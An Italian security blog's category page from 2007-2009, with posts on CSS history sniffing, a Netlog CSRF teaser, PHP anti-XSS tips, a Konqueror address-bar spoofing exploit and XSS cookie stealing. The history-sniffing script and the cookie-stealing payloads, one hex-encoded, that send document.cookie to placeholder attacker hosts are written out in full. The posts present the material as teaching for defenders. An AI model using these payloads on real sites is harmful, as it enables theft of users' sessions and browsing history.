DiGiTaL RiOt

Voci categorizzate come ‘javascript’

Css History Hack: discussione e prevenzione

Luglio 22, 2009 · 2 Commenti

histLa settimana scorsa è spuntato un post nel forum sla.ckers.org che ha attirato subito la mia attenzione. Vista l’impossibilità di accedere all’oggetto history per navigare tra i vari elementi della cronologia, si è pensato ad un metodo alternativo ma molto efficace per accedere ad essa.

Il funzionamento di base è molto semplice e si appoggia su di una funzionalità messa a disposizione dai browser di oggi attraverso i CSS: la specifica a:visited. Cerchiamo di capire meglio con un esempio:

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<html>
<head>
<title>Css history</title>
</head>
<body>
<script type=”text/javascript”>
var knownurls = [
'http://www.google.it', 'http://www.myspace.com',
'http://www.yahoo.com', 'http://www.google.com',
'http://www.twitter.com', 'http://it.netlog.com',
'http://ha.ckers.org', 'http://seoblackhat.com',
'http://www.cgisecurity.com',  , 'http://www.facebook.com/home.php'
];
document.write( ‘<style type=”text/css”>a:link{color:#fff;}’ );
document.write( ‘a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}’ );
document.write( ‘{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>’ );
var output = ‘<h1>Urls riconosciuti</h1><ul>’;
var c = document.createElement(‘div’);
document.body.appendChild(c)
for(i in knownurls){
var anchor=document.createElement(‘a’);
anchor.href=knownurls[i];
anchor.innerHTML=knownurls[i];
c.appendChild(anchor)
if(anchor.offsetHeight==1){
output+=’<li>’+knownurls[i]+’</li>’;
}
}
document.write(output+’</ul>’);
</script>
</body>
</html>

Questa porzione di codice funziona più o meno in questo modo: ho una lista di url, li stampo in una pagina html e sfrutto il selettore visited. Se l’url è stato visitato dalla vittima, la specifica visited fa si che a quello specifico url vengano assegnate delle caratteristiche (via CSS) che lo rendano riconoscibile ed infine lo inserisce nel testo della pagina html. In questo modo aprendo questa pagina con il browser vedremo una lista di url contenente soltanto indirizzi già visitati .

Naturalmente, per ottenere una lista cospicua di siti visitati è bene aggiungere molti elementi all’array knownurls, ad esempio cercando tra  i siti più visitati dagli utenti di alcuni social bookmarking come delicious e digg.

Il codice javascript che riconosce questi url può essere facilmente nascosto ed utilizzato per lanciare automaticamente attacchi di tipo CSRF, poichè c’è una buona probabilità che l’utente abbia una sessione attiva in uno dei siti precedentemente visitati.

Altro pericoloso utilizzo di questa tecnica permette all’attaccante di ottenere un token di sessione propagato via url (una tecnica di protezione piuttosto ambigua che discuterò in un prossimo articolo) .

Alcuni sviluppatori inseriscono un token di conferma per ogni richiesta nell’url, così da rifiutare ogni richiesta non attendibile. Questo implica una diminuzione del traffico indesiderato e delle richieste non autorizzate, ma d’altra parte espone il token di sessione che potrebbe essere salvato dalla cronologia. Quest’ultima, come abbiamo visto, risulta essere vulnerabile quindi ci ritroveremmo con i nostri token di sessione esposti a favore dell’attaccante.

Quest’ultimo, una volta compreso il formato del token, potrebbe  con un semplice script javascript generare migliaia di token in pochi secondi, con una buona probabilità di ottenere il nostro token di sessione e quindi  accedere a dati sensibili.

Ci tengo a ribadire il concetto che session id e tokens sono strumenti di sicurezza, ma anche essi vanno protetti adeguatamente. Perciò vi consiglio di NON propagare il token di sessione via url ma di farlo attraverso campi nascosti di un form e di rigenerarlo il più possibile.

Se siamo utenti, possiamo ricorrere all’estensione per firefox SafeHistory che ci protegge dal tipo di attacco oggetto di questo articolo.

Categorie: Exploit · Sicurezza · javascript
Messo il tag: , , ,

Netlog vulnerabile a CSRF

Luglio 11, 2009 · 2 Commenti

netlog

Proprio di recente mi sono rimesso sui libri, non quelli dell’università perchè quelli non li ho mai lasciati e non lascerò per parecchio tempo,  ma quelli che leggo di notte davanti al pc.

Ho ricominciato la mia serie di pubblicazioni proprio parlando di CSRF e facendo una piccola pausa, ho loggato in Netlog, un social di cui sono membro da ormai più di un anno.

In questo periodo,la mia installazione di firefox è praticamente inutilizzabile per navigare, a causa delle estensioni installate, ma spinto dall’abitudine , ho aperto nelog proprio con firefox  nel quale erano attive Firebug e Webdeveloper.

Dopo poco tempo sono venuto a capo della questione, scoprendo che quella sezione del sito è vulnerabile ad attacchi di tipo CSRF e poichè si tratta di un sito con tantissimi utenti, la faccenda sembra seria. :/

Non posso aggiungere altri dettagli finchè alla Netlog inc (xD) non avranno messo una toppa o finchè non sarà passato troppo tempo.

Categorie: Advisory · CSRF · Vulnerabilità · javascript

Pillole contro il mal di XSS

Ottobre 29, 2007 · Lascia un Commento

Continua la mia serie di mini articoli sull’argomento XSS, che, a quanto pare, incuriosisce moltissimi naviganti della rete :D (mi riferisco alle statistiche dei motori di ricerca ;) ).

xsswarning.jpg

Questo articolo non è esattamente un tutorial riguardante una tecnica di XSS, ma più che altro una raccolta di pillole di saggezza che tutti dovrebbero assimilare.

  • Controllate la presenza di tags HTML e rendeteli inoffensivi (non del tutto!) con la funzione php strip_tags()
  • Se non potete rimuovere a priori i tag html dalle query, rimpiazzateli con il corrispondente riferimento ad entità: la funzione htmlentities() sostituisce i caratteri “<” e “>” con “<” e “>”
  • Evitate di utilizzare le funzioni include() e require() passando come argomento variabili definite dall’utente, come elementi degli array $_POST $_GET $_REQUEST e $_FILE, potreste dar luogo a vulnerabilità critiche: inclusione di files di installazione del vostro CMS oppure files di configurazione di vario genere contenenti username, password ed altre informazioni importanti.

Filtrate approfonditamente le query, controllando anche la codifica ASCII ed HEX

Attenti all’utilizzo delle MAGIC QUOTES: Un tentativo da parte degli sviluppatori PHP di incrementare la sicurezza di PHP tramite il filtraggio automatico delle stringhe, aggiungendo il carattere di escape. Questa opzione non vi mette al riparo dagli attacchi di XSS e SQL Injection, poiché il controllo può in molti casi essere bypassato. Inoltre, il sistema di MAGIC QUOTES comporta alcuni problemi di portabilità del codice, che potrebbe assumere comportamenti diversi in base alla configurazione della vostra installazione di PHP.

Categorie: Hacking · Programmazione · Sicurezza · XSS · javascript · php

Vulnerabilità Konqueror: SetInterval Function Address Bar URI Spoofing

Ottobre 9, 2007 · Lascia un Commento

Creando una pagina HTML appropriata, è possibile sfruttare una vulnerabilità di Konqueror per mettere la vittima dell’exploit davanti ad un URL “trusted” mentre si visualizza un documento che contiene codice maligno.

L’exploit si basa sulla funzione setInterval(), che esegue una funzione o testa una espressione ogni intervallo di tempo:

– setInterval(espressione, tempo)
- setInterval(funzione, tempo, [arg1, ..., argN])
Dove:
- funzione è una qualsiasi funzione dichiarata nel documento;
- espressione è una stringa contenente una espressione JavaScript. L’espressione dev’essere quotata, altrimenti setInterval() la esegue immediatamente;
- tempo come già detto è un tempo espresso in millisecondi;
- arg1, …, argN sono opzionali e sono argomenti, se necessari, che vengono passati alla funzione.

Esaminiamo il seguente listato:

<FORM action="http://www.google.com/search" name="form">
	<INPUT TYPE=text NAME="q"><BR>
	<INPUT TYPE=submit VALUE=Search onClick="a=0; location='http://www.google.com/search?q=' + document.form.q.value; return false;">
	</FORM> 

<SCRIPT LANGUAGE="JavaScript"> 

function foo() {
	if (a==1) {
		a=0;
		window.location = "http://www.google.com/";
		a=1;
	}
}
setInterval("foo()", 0); 

</SCRIPT>

Questo semplice form, non fa altro che refreshare continuamente la pagina contenente il codice javascript, lasciando il browser letteralmente intrappolato in essa mentre l’utente crede di aver cambiato posizione. In questo modo è possibile far credere all’utente di essere di fronte ad una pagina sicura e conosciuta, mentre si visualizza un documento qualsiasi, magari creato ad hoc per imitare un sito noto.
Questa vulnerabilità riguardale versioni 3.5.7 non patchate di Konqueror e potrebbe essere sfruttata ad esmepio per raccogliereusername e passwords delgi utenti Hotmail e Gmail, mostrando un URL autentico, ma una pagina clone dell’originale (occhio con i problemi legati all’utilizzo dei simboli coperti da Copyright).

Good Hacking e FATE I BRAVI (già che la gente fa schifo, almeno noi cerchiamo di migliorare il mondo , evitando di creare problemi agli altri).

Riferimenti:

Categorie: Exploit · Hacking · KDE · Sicurezza · javascript

XSS: Cookie Stealing

Ottobre 8, 2007 · Lascia un Commento

Con il primo articolo sul XSS, abbiamo dato un’ occhiata in superficie a questa tecnica che permette di modificare a proprio piacimento il flusso
delle pagine Web. Non abbiamo però toccato un argomento di vitale importanza per la sicurezza dei siti Web: il cookie stealing

Con cookie stealing si vuole indicare quell’insieme di tecniche che permettono di ottenere i cookie salvati durante le sessioni di navigazione su internet: Username, Password, eMail, Carrelli dei negozi online e tante altre informazioni così dette “sensibili”.
Se queste informazioni dovessero cadere in mani sbagliate, come si suol dire, sono cazzi! :D

Ecco un semplicissimo esempio di XSS cookie stealing, che dovrebbe essere bloccato da qualunque check (mi rivolgo ai webmaster pigri di tutto il mondo):

<SCRIPT> window.location="http://www.sitoladro.com/ruba.php?data=" + document.cookie </SCRIPT>

Riuscire a portare a termine questo XSS in una pagina che permette di renderlo persistente, comporterebbe furti di informazioni per tutti gli utenti abituali del sito!!, pensate cosa potrebbe causare un blog famoso con un guestbook fallato :D …. grasse risate (non per l’admin).

Ecco alcune tecniche più eleganti di XSS per il Cookie Stealing:
XSS convertito in HEX:

%3c%53%43%52%49%50%54%3e%20%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%73%69%74%6f%6c%61%64%72%6f%2e%63%6f%6d%2f%72%75%62%61%2e%70%68%70%3f%64%61%74%61%3d%22%20%2b%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%20%3c%2f%53%43%52%49%50%54%3e

XSS filtrato con CSS:


<style> 

 .stealcookies{background-image:url('javascript:new Image().src="http://www.iorubo.com?data=" mce_src="http://www.iorubo.com?data="+encodeURI(document.cookie);');} 

 </style> 

 <p class="stealcookies"></p>

 

Richiesta immagine :


<script> 

 new Image().src="http://www.iohakkotuttiquanti.com/hack.php?c=" mce_src="http://www.iohaccotuttiquanti.com/hack.php?c="+encodeURI(document.cookie); 

 </script>

Spero che con queste informazioni riusciate a scrivere funzioni più sicure per i vostri siti ;) bastano veramente poche accortezze per evitare molti problemi !!

Categorie: Hacking · Sicurezza · XSS · javascript